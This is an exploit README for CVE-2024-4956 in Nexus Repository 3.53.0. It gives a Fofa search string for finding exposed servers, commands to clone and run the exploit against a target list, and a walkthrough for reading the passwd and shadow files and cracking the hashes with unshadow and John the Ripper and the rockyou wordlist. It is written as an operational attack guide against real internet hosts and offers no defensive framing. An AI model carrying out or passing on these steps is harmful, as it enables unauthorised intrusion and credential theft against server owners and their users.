## Getting Started
### Finding Targets
To find potential targets, use Fofa (similar to Shodan.io):
- **Fofa Dork**: `header="Server: Nexus/3.53.0-01 (OSS)"`
First, clone the repository:
```bash
git clone https://github.com/verylazytech/CVE-2024-4956
```
Next chose your target and add it to list.txt file in this format:
- https://ip_address
Run the Exploit:
```bash
python3 CVE-2024-4956.py -l list.txt
```
The output is passwd and shadow files that found:
Now after you find both file passwd & shadow you can try crack the hash with JohnTheRipper, after running the exploit you have 2 files, passwd & shadow, so you can merge them into one file and try crack them (I used rockyou.txt but it can be any password wordlist):
```bash
unshadow passwd shadow > unshadowed.txt
```
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
```
